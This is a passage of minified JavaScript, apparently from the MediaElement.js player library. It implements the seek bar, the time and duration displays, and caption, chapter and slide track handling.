class="'+g.options.classPrefix+'time-handle"><span class="'+g.options.classPrefix+'time-handle-content"></span></span>'+n+"</span>",g.addControlElement(o,"progress"),g.options.keyActions.push({keys:[37,227],action:function(e){if(!isNaN(e.duration)&&0<e.duration){e.isVideo&&(e.showControls(),e.startControlsTimer());var t=e.getElement(e.container).querySelector("."+g.options.classPrefix+"time-total");t&&t.focus();var n=Math.max(e.currentTime-e.options.defaultSeekBackwardInterval(e),0);e.paused||e.pause(),setTimeout(function(){e.setCurrentTime(n)},0),setTimeout(function(){e.play()},0)}}},{keys:[39,228],action:function(e){if(!isNaN(e.duration)&&0<e.duration){e.isVideo&&(e.showControls(),e.startControlsTimer());var t=e.getElement(e.container).querySelector("."+g.options.classPrefix+"time-total");t&&t.focus();var n=Math.min(e.currentTime+e.options.defaultSeekForwardInterval(e),e.duration);e.paused||e.pause(),setTimeout(function(){e.setCurrentTime(n)},0),setTimeout(function(){e.play()},0)}}}),g.rail=s.querySelector("."+g.options.classPrefix+"time-rail"),g.total=s.querySelector("."+g.options.classPrefix+"time-total"),g.loaded=s.querySelector("."+g.options.classPrefix+"time-loaded"),g.current=s.querySelector("."+g.options.classPrefix+"time-current"),g.handle=s.querySelector("."+g.options.classPrefix+"time-handle"),g.timefloat=s.querySelector("."+g.options.classPrefix+"time-float"),g.timefloatcurrent=s.querySelector("."+g.options.classPrefix+"time-float-current"),g.slider=s.querySelector("."+g.options.classPrefix+"time-slider"),g.hovered=s.querySelector("."+g.options.classPrefix+"time-hovered"),g.buffer=s.querySelector("."+g.options.classPrefix+"time-buffering"),g.newTime=0,g.forcedHandlePause=!1,g.setTransformStyle=function(e,t){e.style.transform=t,e.style.webkitTransform=t,e.style.MozTransform=t,e.style.msTransform=t,e.style.OTransform=t},g.buffer.style.display="none";var i=function(e){var t=getComputedStyle(g.total),n=(0,b.offset)(g.total),o=g.total.offsetWidth,i=void 0!==t.webkitTransform?"webkitTransform":void 0!==t.mozTransform?"mozTransform ":void 0!==t.oTransform?"oTransform":void 0!==t.msTransform?"msTransform":"transform",r="WebKitCSSMatrix"in window?"WebKitCSSMatrix":"MSCSSMatrix"in window?"MSCSSMatrix":"CSSMatrix"in window?"CSSMatrix":void 0,a=0,s=0,l=0,d=void 0;if(d=e.originalEvent&&e.originalEvent.changedTouches?e.originalEvent.changedTouches[0].pageX:e.changedTouches?e.changedTouches[0].pageX:e.pageX,g.getDuration()){if(d<n.left?d=n.left:d>o+n.left&&(d=o+n.left),a=(l=d-n.left)/o,g.newTime=a*g.getDuration(),v&&null!==g.getCurrentTime()&&g.newTime.toFixed(4)!==g.getCurrentTime().toFixed(4)&&(g.setCurrentRailHandle(g.newTime),g.updateCurrent(g.newTime)),!y.IS_IOS&&!y.IS_ANDROID){if(l<0&&(l=0),g.options.useSmoothHover&&null!==r&&void 0!==window[r]){var u=new window[r](getComputedStyle(g.handle)[i]).m41,c=l/parseFloat(getComputedStyle(g.total).width)-u/parseFloat(getComputedStyle(g.total).width);g.hovered.style.left=u+"px",g.setTransformStyle(g.hovered,"scaleX("+c+")"),g.hovered.setAttribute("pos",l),0<=c?(0,b.removeClass)(g.hovered,"negative"):(0,b.addClass)(g.hovered,"negative")}if(g.timefloat){var f=g.timefloat.offsetWidth/2,p=mejs.Utils.offset(g.getElement(g.container)),m=getComputedStyle(g.timefloat);s=d-p.left<g.timefloat.offsetWidth?f:d-p.left>=g.getElement(g.container).offsetWidth-f?g.total.offsetWidth-f:l,(0,b.hasClass)(g.getElement(g.container),g.options.classPrefix+"long-video")&&(s+=parseFloat(m.marginLeft)/2+g.timefloat.offsetWidth/2),g.timefloat.style.left=s+"px",g.timefloatcurrent.innerHTML=(0,E.secondsToTimeCode)(g.newTime,h.options.alwaysShowHours,h.options.showTimecodeFrameCount,h.options.framesPerSecond,h.options.secondsDecimalLength,h.options.timeFormat),g.timefloat.style.display="block"}}}else y.IS_IOS||y.IS_ANDROID||!g.timefloat||(s=g.timefloat.offsetWidth+o>=g.getElement(g.container).offsetWidth?g.timefloat.offsetWidth/2:0,g.timefloat.style.left=s+"px",g.timefloat.style.left=s+"px",g.timefloat.style.display="block")},f=function(){1e3<=new Date-u&&g.play()};g.slider.addEventListener("focus",function(){h.options.autoRewind=!1}),g.slider.addEventListener("blur",function(){h.options.autoRewind=t}),g.slider.addEventListener("keydown",function(e){if(1e3<=new Date-u&&(c=g.paused),g.options.enableKeyboard&&g.options.keyActions.length){var t=e.which||e.keyCode||0,n=g.getDuration(),o=h.options.defaultSeekForwardInterval(d),i=h.options.defaultSeekBackwardInterval(d),r=g.getCurrentTime(),a=g.getElement(g.container).querySelector("."+g.options.classPrefix+"volume-slider");if(38===t||40===t){a&&(a.style.display="block"),g.isVideo&&(g.showControls(),g.startControlsTimer());var s=38===t?Math.min(g.volume+.1,1):Math.max(g.volume-.1,0),l=s<=0;return g.setVolume(s),void g.setMuted(l)}switch(a&&(a.style.display="none"),t){case 37:g.getDuration()!==1/0&&(r-=i);break;case 39:g.getDuration()!==1/0&&(r+=o);break;case 36:r=0;break;case 35:r=n;break;case 13:case 32:return void(y.IS_FIREFOX&&(g.paused?g.play():g.pause()));default:return}r=r<0||isNaN(r)?0:n<=r?n:Math.floor(r),u=new Date,c||h.pause(),setTimeout(function(){g.setCurrentTime(r)},0),r<g.getDuration()&&!c&&setTimeout(f,1100),h.showControls(),e.preventDefault(),e.stopPropagation()}});var r=["mousedown","touchstart"];g.slider.addEventListener("dragstart",function(){return!1});for(var a=0,l=r.length;a<l;a++)g.slider.addEventListener(r[a],function(e){if(g.forcedHandlePause=!1,g.getDuration()!==1/0&&(1===e.which||0===e.which)){g.paused||(g.pause(),g.forcedHandlePause=!0),v=!0,i(e);for(var t=["mouseup","touchend"],n=0,o=t.length;n<o;n++)g.getElement(g.container).addEventListener(t[n],function(e){var t=e.target;(t===g.slider||t.closest("."+g.options.classPrefix+"time-slider"))&&i(e)});g.globalBind("mouseup.dur touchend.dur",function(){v&&null!==g.getCurrentTime()&&g.newTime.toFixed(4)!==g.getCurrentTime().toFixed(4)&&(g.setCurrentTime(g.newTime),g.setCurrentRailHandle(g.newTime),g.updateCurrent(g.newTime)),g.forcedHandlePause&&(g.slider.focus(),g.play()),g.forcedHandlePause=!1,v=!1,g.timefloat&&(g.timefloat.style.display="none")})}},!(!y.SUPPORT_PASSIVE_EVENT||"touchstart"!==r[a])&&{passive:!0});g.slider.addEventListener("mouseenter",function(e){e.target===g.slider&&g.getDuration()!==1/0&&(g.getElement(g.container).addEventListener("mousemove",function(e){var t=e.target;(t===g.slider||t.closest("."+g.options.classPrefix+"time-slider"))&&i(e)}),!g.timefloat||y.IS_IOS||y.IS_ANDROID||(g.timefloat.style.display="block"),g.hovered&&!y.IS_IOS&&!y.IS_ANDROID&&g.options.useSmoothHover&&(0,b.removeClass)(g.hovered,"no-hover"))}),g.slider.addEventListener("mouseleave",function(){g.getDuration()!==1/0&&(v||(g.timefloat&&(g.timefloat.style.display="none"),g.hovered&&g.options.useSmoothHover&&(0,b.addClass)(g.hovered,"no-hover")))}),g.broadcastCallback=function(e){var t,n,o,i,r=s.querySelector("."+g.options.classPrefix+"broadcast");if(g.options.forceLive||g.getDuration()===1/0){if(!r&&g.options.forceLive){var a=p.default.createElement("span");a.className=g.options.classPrefix+"broadcast",a.innerText=m.default.t("mejs.live-broadcast"),g.slider.style.display="none",g.rail.appendChild(a)}}else r&&(g.slider.style.display="",r.remove()),h.setProgressRail(e),g.forcedHandlePause||h.setCurrentRail(e),t=g.getCurrentTime(),n=m.default.t("mejs.time-slider"),o=(0,E.secondsToTimeCode)(t,h.options.alwaysShowHours,h.options.showTimecodeFrameCount,h.options.framesPerSecond,h.options.secondsDecimalLength,h.options.timeFormat),i=g.getDuration(),g.slider.setAttribute("role","slider"),g.slider.tabIndex=0,d.paused?(g.slider.setAttribute("aria-label",n),g.slider.setAttribute("aria-valuemin",0),g.slider.setAttribute("aria-valuemax",isNaN(i)?0:i),g.slider.setAttribute("aria-valuenow",t),g.slider.setAttribute("aria-valuetext",o)):(g.slider.removeAttribute("aria-label"),g.slider.removeAttribute("aria-valuemin"),g.slider.removeAttribute("aria-valuemax"),g.slider.removeAttribute("aria-valuenow"),g.slider.removeAttribute("aria-valuetext"))},d.addEventListener("progress",g.broadcastCallback),d.addEventListener("timeupdate",g.broadcastCallback),d.addEventListener("play",function(){g.buffer.style.display="none"}),d.addEventListener("playing",function(){g.buffer.style.display="none"}),d.addEventListener("seeking",function(){g.buffer.style.display=""}),d.addEventListener("seeked",function(){g.buffer.style.display="none"}),d.addEventListener("pause",function(){g.buffer.style.display="none"}),d.addEventListener("waiting",function(){g.buffer.style.display=""}),d.addEventListener("loadeddata",function(){g.buffer.style.display=""}),d.addEventListener("canplay",function(){g.buffer.style.display="none"}),d.addEventListener("error",function(){g.buffer.style.display="none"}),g.getElement(g.container).addEventListener("controlsresize",function(e){g.getDuration()!==1/0&&(h.setProgressRail(e),g.forcedHandlePause||h.setCurrentRail(e))})},cleanprogress:function(e,t,n,o){o.removeEventListener("progress",e.broadcastCallback),o.removeEventListener("timeupdate",e.broadcastCallback),e.rail&&e.rail.remove()},setProgressRail:function(e){var t=this,n=void 0!==e?e.detail.target||e.target:t.media,o=null;n&&n.buffered&&0<n.buffered.length&&n.buffered.end&&t.getDuration()?o=n.buffered.end(n.buffered.length-1)/t.getDuration():n&&void 0!==n.bytesTotal&&0<n.bytesTotal&&void 0!==n.bufferedBytes?o=n.bufferedBytes/n.bytesTotal:e&&e.lengthComputable&&0!==e.total&&(o=e.loaded/e.total),null!==o&&(o=Math.min(1,Math.max(0,o)),t.loaded&&t.setTransformStyle(t.loaded,"scaleX("+o+")"))},setCurrentRailHandle:function(e){this.setCurrentRailMain(this,e)},setCurrentRail:function(){this.setCurrentRailMain(this)},setCurrentRailMain:function(e,t){if(void 0!==e.getCurrentTime()&&e.getDuration()){var n=void 0===t?e.getCurrentTime():t;if(e.total&&e.handle){var o=parseFloat(getComputedStyle(e.total).width),i=Math.round(o*n/e.getDuration()),r=i-Math.round(e.handle.offsetWidth/2);if(r=r<0?0:r,e.setTransformStyle(e.current,"scaleX("+i/o+")"),e.setTransformStyle(e.handle,"translateX("+r+"px)"),e.options.useSmoothHover&&!(0,b.hasClass)(e.hovered,"no-hover")){var a=parseInt(e.hovered.getAttribute("pos"),10),s=(a=isNaN(a)?0:a)/o-r/o;e.hovered.style.left=r+"px",e.setTransformStyle(e.hovered,"scaleX("+s+")"),0<=s?(0,b.removeClass)(e.hovered,"negative"):(0,b.addClass)(e.hovered,"negative")}}}}})},{16:16,2:2,25:25,26:26,30:30,5:5}],12:[function(e,t,n){"use strict";var a=r(e(2)),o=e(16),i=r(o),s=e(30),l=e(26);function r(e){return e&&e.__esModule?e:{default:e}}Object.assign(o.config,{duration:0,timeAndDurationSeparator:"<span> | </span>"}),Object.assign(i.default.prototype,{buildcurrent:function(e,t,n,o){var i=this,r=a.default.createElement("div");r.className=i.options.classPrefix+"time",r.setAttribute("role","timer"),r.setAttribute("aria-live","off"),r.innerHTML='<span class="'+i.options.classPrefix+'currenttime">'+(0,s.secondsToTimeCode)(0,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength,e.options.timeFormat)+"</span>",i.addControlElement(r,"current"),e.updateCurrent(),i.updateTimeCallback=function(){i.controlsAreVisible&&e.updateCurrent()},o.addEventListener("timeupdate",i.updateTimeCallback)},cleancurrent:function(e,t,n,o){o.removeEventListener("timeupdate",e.updateTimeCallback)},buildduration:function(e,t,n,o){var i=this;if(t.lastChild.querySelector("."+i.options.classPrefix+"currenttime"))t.querySelector("."+i.options.classPrefix+"time").innerHTML+=i.options.timeAndDurationSeparator+'<span class="'+i.options.classPrefix+'duration">'+(0,s.secondsToTimeCode)(i.options.duration,i.options.alwaysShowHours,i.options.showTimecodeFrameCount,i.options.framesPerSecond,i.options.secondsDecimalLength,i.options.timeFormat)+"</span>";else{t.querySelector("."+i.options.classPrefix+"currenttime")&&(0,l.addClass)(t.querySelector("."+i.options.classPrefix+"currenttime").parentNode,i.options.classPrefix+"currenttime-container");var r=a.default.createElement("div");r.className=i.options.classPrefix+"time "+i.options.classPrefix+"duration-container",r.innerHTML='<span class="'+i.options.classPrefix+'duration">'+(0,s.secondsToTimeCode)(i.options.duration,i.options.alwaysShowHours,i.options.showTimecodeFrameCount,i.options.framesPerSecond,i.options.secondsDecimalLength,i.options.timeFormat)+"</span>",i.addControlElement(r,"duration")}i.updateDurationCallback=function(){i.controlsAreVisible&&e.updateDuration()},o.addEventListener("timeupdate",i.updateDurationCallback)},cleanduration:function(e,t,n,o){o.removeEventListener("timeupdate",e.updateDurationCallback)},updateCurrent:function(){var e=this,t=e.getCurrentTime();isNaN(t)&&(t=0);var n=(0,s.secondsToTimeCode)(t,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength,e.options.timeFormat);5<n.length?(0,l.addClass)(e.getElement(e.container),e.options.classPrefix+"long-video"):(0,l.removeClass)(e.getElement(e.container),e.options.classPrefix+"long-video"),e.getElement(e.controls).querySelector("."+e.options.classPrefix+"currenttime")&&(e.getElement(e.controls).querySelector("."+e.options.classPrefix+"currenttime").innerText=n)},updateDuration:function(){var e=this,t=e.getDuration();void 0!==e.media&&(isNaN(t)||t===1/0||t<0)&&(e.media.duration=e.options.duration=t=0),0<e.options.duration&&(t=e.options.duration);var n=(0,s.secondsToTimeCode)(t,e.options.alwaysShowHours,e.options.showTimecodeFrameCount,e.options.framesPerSecond,e.options.secondsDecimalLength,e.options.timeFormat);5<n.length?(0,l.addClass)(e.getElement(e.container),e.options.classPrefix+"long-video"):(0,l.removeClass)(e.getElement(e.container),e.options.classPrefix+"long-video"),e.getElement(e.controls).querySelector("."+e.options.classPrefix+"duration")&&0<t&&(e.getElement(e.controls).querySelector("."+e.options.classPrefix+"duration").innerHTML=n)}})},{16:16,2:2,26:26,30:30}],13:[function(e,t,n){"use strict";var L=r(e(2)),d=r(e(7)),F=r(e(5)),o=e(16),i=r(o),m=e(30),j=e(27),I=e(26);function r(e){return e&&e.__esModule?e:{default:e}}Object.assign(o.config,{startLanguage:"",tracksText:null,chaptersText:null,tracksAriaLive:!1,hideCaptionsButtonWhenEmpty:!0,toggleCaptionsButtonWhenOnlyOne:!1,slidesSelector:""}),Object.assign(i.default.prototype,{hasChapters:!1,buildtracks:function(o,e,t,n){if(this.findTracks(),o.tracks.length||o.trackFiles&&0!==!o.trackFiles.length){var i=this,r=i.options.tracksAriaLive?' role="log" aria-live="assertive" aria-atomic="false"':"",a=(0,j.isString)(i.options.tracksText)?i.options.tracksText:F.default.t("mejs.captions-subtitles"),s=(0,j.isString)(i.options.chaptersText)?i.options.chaptersText:F.default.t("mejs.captions-chapters"),l=null===o.trackFiles?o.tracks.length:o.trackFiles.length;if(i.domNode.textTracks)for(var d=i.domNode.textTracks.length-1;0<=d;d--)i.domNode.textTracks[d].mode="hidden";i.cleartracks(o),o.captions=L.default.createElement("div"),o.captions.className=i.options.classPrefix+"captions-layer "+i.options.classPrefix+"layer",o.captions.innerHTML='<div class="'+i.options.classPrefix+"captions-position "+i.options.classPrefix+'captions-position-hover"'+r+'><span class="'+i.options.classPrefix+'captions-text"></span></div>',o.captions.style.display="none",t.insertBefore(o.captions,t.firstChild),o.captionsText=o.captions.querySelector("."+i.options.classPrefix+"captions-text"),o.captionsButton=L.default.createElement("div"),o.captionsButton.className=i.options.classPrefix+"button "+i.options.classPrefix+"captions-button",o.captionsButton.innerHTML='<button type="button" aria-controls="'+i.id+'" title="'+a+'" aria-label="'+a+'" tabindex="0"></button><div class="'+i.options.classPrefix+"captions-selector "+i.options.classPrefix+'offscreen"><ul class="'+i.options.classPrefix+'captions-selector-list"><li class="'+i.options.classPrefix+'captions-selector-list-item"><input type="radio" class="'+i.options.classPrefix+'captions-selector-input" name="'+o.id+'_captions" id="'+o.id+'_captions_none" value="none" checked disabled><label class="'+i.options.classPrefix+"captions-selector-label "+i.options.classPrefix+'captions-selected" for="'+o.id+'_captions_none">'+F.default.t("mejs.none")+"</label></li></ul></div>",i.addControlElement(o.captionsButton,"tracks"),o.captionsButton.querySelector("."+i.options.classPrefix+"captions-selector-input").disabled=!1,o.chaptersButton=L.default.createElement("div"),o.chaptersButton.className=i.options.classPrefix+"button "+i.options.classPrefix+"chapters-button",o.chaptersButton.innerHTML='<button type="button" aria-controls="'+i.id+'" title="'+s+'" aria-label="'+s+'" tabindex="0"></button><div class="'+i.options.classPrefix+"chapters-selector "+i.options.classPrefix+'offscreen"><ul class="'+i.options.classPrefix+'chapters-selector-list"></ul></div>';for(var u=0,c=0;c<l;c++){var f=o.tracks[c].kind;o.tracks[c].src.trim()&&("subtitles"===f||"captions"===f?u++:"chapters"!==f||e.querySelector("."+i.options.classPrefix+"chapter-selector")||o.captionsButton.parentNode.insertBefore(o.chaptersButton,o.captionsButton))}o.trackToLoad=-1,o.selectedTrack=null,o.isLoadingTrack=!1;for(var p=0;p<l;p++){var m=o.tracks[p].kind;!o.tracks[p].src.trim()||"subtitles"!==m&&"captions"!==m||o.addTrackButton(o.tracks[p].trackId,o.tracks[p].srclang,o.tracks[p].label)}o.loadNextTrack();var h=["mouseenter","focusin"],v=["mouseleave","focusout"];if(i.options.toggleCaptionsButtonWhenOnlyOne&&1===u)o.captionsButton.addEventListener("click",function(e){var t="none";null===o.selectedTrack&&(t=o.tracks[0].trackId);var n=e.keyCode||e.which;o.setTrack(t,void 0!==n)});else{for(var g=o.captionsButton.querySelectorAll("."+i.options.classPrefix+"captions-selector-label"),y=o.captionsButton.querySelectorAll("input[type=radio]"),E=0,b=h.length;E<b;E++)o.captionsButton.addEventListener(h[E],function(){(0,I.removeClass)(this.querySelector("."+i.options.classPrefix+"captions-selector"),i.options.classPrefix+"offscreen")});for(var S=0,x=v.length;S<x;S++)o.captionsButton.addEventListener(v[S],function(){(0,I.addClass)(this.querySelector("."+i.options.classPrefix+"captions-selector"),i.options.classPrefix+"offscreen")});for(var w=0,P=y.length;w<P;w++)y[w].addEventListener("click",function(e){var t=e.keyCode||e.which;o.setTrack(this.value,void 0!==t)});for(var T=0,C=g.length;T<C;T++)g[T].addEventListener("click",function(e){var t=(0,I.siblings)(this,function(e){return"INPUT"===e.tagName})[0],n=(0,j.createEvent)("click",t);t.dispatchEvent(n),e.preventDefault()});o.captionsButton.addEventListener("keydown",function(e){e.stopPropagation()})}for(var k=0,_=h.length;k<_;k++)o.chaptersButton.addEventListener(h[k],function(){this.querySelector("."+i.options.classPrefix+"chapters-selector-list").children.length&&(0,I.removeClass)(this.querySelector("."+i.options.classPrefix+"chapters-selector"),i.options.classPrefix+"offscreen")});for(var N=0,A=v.length;N<A;N++)o.chaptersButton.addEventListener(v[N],function(){(0,I.addClass)(this.querySelector("."+i.options.classPrefix+"chapters-selector"),i.options.classPrefix+"offscreen")});o.chaptersButton.addEventListener("keydown",function(e){e.stopPropagation()}),o.options.alwaysShowControls?(0,I.addClass)(o.getElement(o.container).querySelector("."+i.options.classPrefix+"captions-position"),i.options.classPrefix+"captions-position-hover"):(o.getElement(o.container).addEventListener("controlsshown",function(){(0,I.addClass)(o.getElement(o.container).querySelector("."+i.options.classPrefix+"captions-position"),i.options.classPrefix+"captions-position-hover")}),o.getElement(o.container).addEventListener("controlshidden",function(){n.paused||(0,I.removeClass)(o.getElement(o.container).querySelector("."+i.options.classPrefix+"captions-position"),i.options.classPrefix+"captions-position-hover")})),n.addEventListener("timeupdate",function(){o.displayCaptions()}),""!==o.options.slidesSelector&&(o.slidesContainer=L.default.querySelectorAll(o.options.slidesSelector),n.addEventListener("timeupdate",function(){o.displaySlides()}))}},cleartracks:function(e){e&&(e.captions&&e.captions.remove(),e.chapters&&e.chapters.remove(),e.captionsText&&e.captionsText.remove(),e.captionsButton&&e.captionsButton.remove(),e.chaptersButton&&e.chaptersButton.remove())},rebuildtracks:function(){var e=this;e.findTracks(),e.buildtracks(e,e.getElement(e.controls),e.getElement(e.layers),e.media)},findTracks:function(){var e=this,t=null===e.trackFiles?e.node.querySelectorAll("track"):e.trackFiles,n=t.length;e.tracks=[];for(var o=0;o<n;o++){var i=t[o],r=i.getAttribute("srclang").toLowerCase()||"",a=e.id+"_track_"+o+"_"+i.getAttribute("kind")+"_"+r;e.tracks.push({trackId:a,srclang:r,src:i.getAttribute("src"),kind:i.getAttribute("kind"),label:i.getAttribute("label")||"",entries:[],isLoaded:!1})}},setTrack:function(e,t){for(var n=this,o=n.captionsButton.querySelectorAll('input[type="radio"]'),i=n.captionsButton.querySelectorAll("."+n.options.classPrefix+"captions-selected"),r=n.captionsButton.querySelector('input[value="'+e+'"]'),a=0,s=o.length;a<s;a++)o[a].checked=!1;for(var l=0,d=i.length;l<d;l++)(0,I.removeClass)(i[l],n.options.classPrefix+"captions-selected");r.checked=!0;for(var u=(0,I.siblings)(r,function(e){return(0,I.hasClass)(e,n.options.classPrefix+"captions-selector-label")}),c=0,f=u.length;c<f;c++)(0,I.addClass)(u[c],n.options.classPrefix+"captions-selected");if("none"===e)n.selectedTrack=null,(0,I.removeClass)(n.captionsButton,n.options.classPrefix+"captions-enabled");else for(var p=0,m=n.tracks.length;p<m;p++){var h=n.tracks[p];if(h.trackId===e){null===n.selectedTrack&&(0,I.addClass)(n.captionsButton,n.options.classPrefix+"captions-enabled"),n.selectedTrack=h,n.captions.setAttribute("lang",n.selectedTrack.srclang),n.displayCaptions();break}}var v=(0,j.createEvent)("captionschange",n.media);v.detail.caption=n.selectedTrack,n.media.dispatchEvent(v),t||setTimeout(function(){n.getElement(n.container).focus()},500)},loadNextTrack:function(){var e=this;e.trackToLoad++,e.trackToLoad<e.tracks.length?(e.isLoadingTrack=!0,e.loadTrack(e.trackToLoad)):(e.isLoadingTrack=!1,e.checkForTracks())},loadTrack:function(e){var t=this,n=t.tracks[e];void 0===n||void 0===n.src&&""===n.src||(0,I.ajax)(n.src,"text",function(e){n.entries="string"==typeof e&&/<tt\s+xml/gi.exec(e)?d.default.TrackFormatParser.dfxp.parse(e):d.default.TrackFormatParser.webvtt.parse(e),n.isLoaded=!0,t.enableTrackButton(n),t.loadNextTrack(),"slides"===n.kind?t.setupSlides(n):"chapters"!==n.kind||t.hasChapters||(t.drawChapters(n),t.hasChapters=!0)},function(){t.removeTrackButton(n.trackId),t.loadNextTrack()})},enableTrackButton:function(e){var t=this,n=e.srclang,o=L.default.getElementById(""+e.trackId);if(o){var i=e.label;""===i&&(i=F.default.t(d.default.language.codes[n])||n),o.disabled=!1;for(var r=(0,I.siblings)(o,function(e){return(0,I.hasClass)(e,t.options.classPrefix+"captions-selector-label")}),a=0,s=r.length;a<s;a++)r[a].innerHTML=i;if(t.options.startLanguage===n){o.checked=!0;var l=(0,j.createEvent)("click",o);o.dispatchEvent(l)}}},removeTrackButton:function(e){var t=L.default.getElementById(""+e);if(t){var n=t.closest("li");n&&n.remove()}},addTrackButton:function(e,t,n){var o=this;""===n&&(n=F.default.t(d.default.language.codes[t])||t),o.captionsButton.querySelector("ul").innerHTML+='<li class="'+o.options.classPrefix+'captions-selector-list-item"><input type="radio" class="'+o.options.classPrefix+'captions-selector-input" name="'+o.id+'_captions" id="'+e+'" value="'+e+'" disabled><label class="'+o.options.classPrefix+'captions-selector-label"for="'+e+'">'+n+" (loading)</label></li>"},checkForTracks:function(){var e=this,t=!1;if(e.options.hideCaptionsButtonWhenEmpty){for(var n=0,o=e.tracks.length;n<o;n++){var i=e.tracks[n].kind;if(("subtitles"===i||"captions"===i)&&e.tracks[n].isLoaded){t=!0;break}}e.captionsButton.style.display=t?"":"none",e.setControlsSize()}},displayCaptions:function(){if(void 0!==this.tracks){var e=this,t=e.selectedTrack;if(null!==t&&t.isLoaded){var n=e.searchTrackPosition(t.entries,e.media.currentTime);if(-1<n){var o=t.entries[n].text;return"function"==typeof e.options.captionTextPreprocessor&&(o=e.options.captionTextPreprocessor(o)),e.captionsText.innerHTML=function(e){var t=L.default.createElement("div");t.innerHTML=e;for(var n=t.getElementsByTagName("script"),o=n.length;o--;)n[o].remove();for(var i=t.getElementsByTagName("*"),r=0,a=i.length;r<a;r++)for(var s=i[r].attributes,l=Array.prototype.slice.call(s),d=0,u=l.length;d<u;d++)l[d].name.startsWith("on")||l[d].value.startsWith("javascript")?i[r].remove():"style"===l[d].name&&i[r].removeAttribute(l[d].name);return t.innerHTML}(o),e.captionsText.className=e.options.classPrefix+"captions-text "+(t.entries[n].identifier||""),e.captions.style.display="",void(e.captions.style.height="0px")}e.captions.style.display="none"}else e.captions.style.display="none"}},setupSlides:function(e){this.slides=e,this.slides.entries.imgs=[this.slides.entries.length],this.showSlide(0)},showSlide:function(e){var i=this,r=this;if(void 0!==r.tracks&&void 0!==r.slidesContainer){var t=r.slides.entries[e].text,n=r.slides.entries[e].imgs;if(void 0===n||void 0===n.fadeIn){var a=L.default.createElement("img");a.src=t,a.addEventListener("load",function(){var e=i,t=(0,I.siblings)(e,function(e){return t(e)});e.style.display="none",r.slidesContainer.innerHTML+=e.innerHTML,(0,I.fadeIn)(r.slidesContainer.querySelector(a));for(var n=0,o=t.length;n<o;n++)(0,I.fadeOut)(t[n],400)}),r.slides.entries[e].imgs=n=a}else if(!(0,I.visible)(n)){var o=(0,I.siblings)(self,function(e){return o(e)});(0,I.fadeIn)(r.slidesContainer.querySelector(n));for(var s=0,l=o.length;s<l;s++)(0,I.fadeOut)(o[s])}}},displaySlides:function(){if(void 0!==this.slides){var e=this.slides,t=this.searchTrackPosition(e.entries,this.media.currentTime);-1<t&&this.showSlide(t)}},drawChapters:function(e){var r=this,t=e.entries.length;if(t){r.chaptersButton.querySelector("ul").innerHTML="";for(var n=0;n<t;n++)r.chaptersButton.querySelector("ul").innerHTML+='<li class="'+r.options.classPrefix+'chapters-selector-list-item" role="menuitemcheckbox" aria-live="polite" aria-disabled="false" aria-checked="false"><input type="radio" class="'+r.options.classPrefix+'captions-selector-input" name="'+r.id+'_chapters" id="'+r.id+"_chapters_"+n+'" value="'+e.entries[n].start+'" disabled><label class="'+r.options.classPrefix+'chapters-selector-label"for="'+r.id+"_chapters_"+n+'">'+e.entries[n].text+"</label></li>";for(var o=r.chaptersButton.querySelectorAll('input[type="radio"]'),i=r.chaptersButton.querySelectorAll("."+r.options.classPrefix+"chapters-selector-label"),a=0,s=o.length;a<s;a++)o[a].disabled=!1,o[a].checked=!1,o[a].addEventListener("click",function(e){var t=r.chaptersButton.querySelectorAll("li"),n=(0,I.siblings)(this,function(e){return(0,I.hasClass)(e,r.options.classPrefix+"chapters-selector-label")})[0];this.checked=!0,this.parentNode.setAttribute("aria-checked",!0),(0,I.addClass)(n,r.options.classPrefix+"chapters-selected"),(0,I.removeClass)(r.chaptersButton.querySelector("."+r.options.classPrefix+"chapters-selected"),r.options.classPrefix+"chapters-selected");for(var o=0,i=t.length;o<i;o++)t[o].setAttribute("aria-checked",!1);void 0===(e.keyCode||e.which)&&setTimeout(function(){r.getElement(r.container).focus()},500),r.media.setCurrentTime(parseFloat(this.value)),r.media.paused&&r.media.play()});for(var l=0,d=i.length;l<d;l++)i[l].addEventListener("click",function(e){var t=(0,I.siblings)(this,function(e){return"INPUT"===e.tagName})[0],n=(0,j.createEvent)("click",t);t.dispatchEvent(n),e.preventDefault()})}},searchTrackPosition:function(e,t){for(var n=0,o=e.length-1,i=void 0,r=void 0,a=void 0;n<=o;){if(r=e[i=n+o>>1].start,a=e[i].stop,r<=t&&t<a)return i;r<t?n=i+1:t<r&&(o=i-1)}return-1}}),d.default.language={codes:{af:"mejs.afrikaans",sq:"mejs.albanian",ar:"mejs.arabic",be:"mejs.belarusian",bg:"mejs.bulgarian",ca:"mejs.catalan",zh:"mejs.chinese","zh-cn":"mejs.chinese-simplified","zh-tw":"mejs.chines-traditional",hr:"mejs.croatian",cs:"mejs.czech",da:"mejs.danish",nl:"mejs.dutch",en:"mejs.english",et:"mejs.estonian",fl:"mejs.filipino",fi:"mejs.finnish",fr:"mejs.french",gl:"mejs.galician",de:"mejs.german",el:"mejs.greek",ht:"mejs.haitian-creole",iw:"mejs.hebrew",hi:"mejs.hindi",hu:"mejs.hungarian",is:"mejs.icelandic",id:"mejs.indonesian",ga:"mejs.irish",it:"mejs.italian",ja:"mejs.japanese",ko:"mejs.korean",lv:"mejs.latvian",lt:"mejs.lithuanian",mk:"mejs.macedonian",ms:"mejs.malay",mt:"mejs.maltese",no:"mejs.norwegian",fa:"mejs.persian",pl:"mejs.polish",pt:"mejs.portuguese",ro:"mejs.romanian",ru:"mejs.russian",sr:"mejs.serbian",sk:"mejs.slovak",sl:"mejs.slovenian",es:"mejs.spanish",sw:"mejs.swahili",sv:"mejs.swedish",tl:"mejs.tagalog",th:"mejs.thai",tr:"mejs.turkish",uk:"mejs.ukrainian",vi:"mejs.vietnamese",cy:"mejs.welsh",yi:"mejs.yiddish"}},d.default.TrackFormatParser={webvtt:{pattern:/^((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{1,3})?) --\> ((?:[0-9]{1,2}:)?[0-9]{2}:[0-9]{2}([,.][0-9]{3})?)(.*)$/,parse:function(e){for(var t=e.split(/\r?\n/),n=[],o=void 0,i=void 0,r=void 